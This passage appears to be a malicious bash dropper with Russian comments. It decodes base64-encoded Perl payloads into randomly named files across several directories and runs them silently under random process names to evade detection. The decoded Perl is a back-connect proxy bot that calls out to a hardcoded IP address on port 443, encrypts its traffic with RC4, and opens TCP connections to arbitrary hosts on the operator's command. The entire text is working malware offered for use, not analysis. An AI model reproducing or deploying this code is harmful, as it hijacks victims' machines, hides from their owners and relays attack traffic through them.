dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #28 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #28 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 29 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv 